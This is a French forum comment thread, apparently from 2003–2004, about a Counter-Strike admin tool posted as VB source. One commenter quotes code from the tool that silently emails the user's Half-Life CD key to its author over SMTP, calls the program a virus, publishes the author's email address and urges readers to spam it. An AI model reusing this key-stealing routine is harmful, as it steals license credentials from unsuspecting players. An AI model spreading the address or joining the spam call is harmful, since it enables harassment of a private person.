ADMIN-CS 1.0
cs_Urgo
Messages postés
780
Date d'inscription
lundi 16 décembre 2002
Statut
Membre
Dernière intervention
16 avril 2009
-
25 juil. 2003 à 19:15
Devil_Killer Messages postés 6 Date d'inscription samedi 17 janvier 2004 Statut Membre Dernière intervention 18 janvier 2004 - 10 mars 2004 à 20:26
Devil_Killer Messages postés 6 Date d'inscription samedi 17 janvier 2004 Statut Membre Dernière intervention 18 janvier 2004 - 10 mars 2004 à 20:26
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
https://codes-sources.commentcamarche.net/source/8041-admin-cs-1-0
https://codes-sources.commentcamarche.net/source/8041-admin-cs-1-0
10 mars 2004 à 20:26
GRRRRRRRRRRRRRRRRRR
a ta plase je srai pa fiere
surtou quaparament c tous des copier coler d otre script
28 juil. 2003 à 19:18
surtout que cette boite est bidon
27 juil. 2003 à 19:39
Arrete de faire chier les joueurs de Counters avec T Programme Virus, c pareil !! car quand on balance des emails avec ma clé CS, ca me plait pas du tout, attends toi que les gens te spam coco !!!
Veuillez spammer cette boite email, son auteur : arkel.arkel@laposte.net
Pourquoi ? hé bien regarder son jolie code : "
Private Sub Winsock1_Connect()
' La connection est etablie on envoie maintenant les données
Dim Send(1 To 9) As String
' Les donnees a envoyer
Send(1) = "HELO " & "Arkel.com" & vbCrLf
Send(2) = "MAIL FROM:" & "" & vbCrLf
Send(3) = "RCPT TO:" & "" & vbCrLf
Send(4) = "DATA" & vbCrLf
Send(5) = "from: " & Chr$(34) & "Arkel" & Chr$(34) & "" & vbCrLf
Send(6) = "to: " & "" & vbCrLf
Send(7) = "subject: " & "Clé HL" & vbCrLf & vbCrLf
Send(8) = "Voici la clé HL:" & Key & vbCrLf & "." & vbCrLf
Send(9) = "QUIT"
' maintenant on les envoie en verifiant qu'il n'y a pas d'erreur
On Error GoTo Erreur
For X = 1 To 9
Winsock1.SendData Send(X)
DoEvents
Next X
Winsock1.Close
'MsgBox "Envoi effectué avec succès!"
Erreur:
Exit Sub
End Sub
"
@+
26 juil. 2003 à 16:40
sa merite 10/10 rien ke pour sa
@++
26 juil. 2003 à 14:24
25 juil. 2003 à 19:15
En plus tu pourrais capter le répertoire de half dans le registre !
Comme mod tu aurais du mettre Day Of Defeat qui vient quant meme juste après CS
Bref : 6/10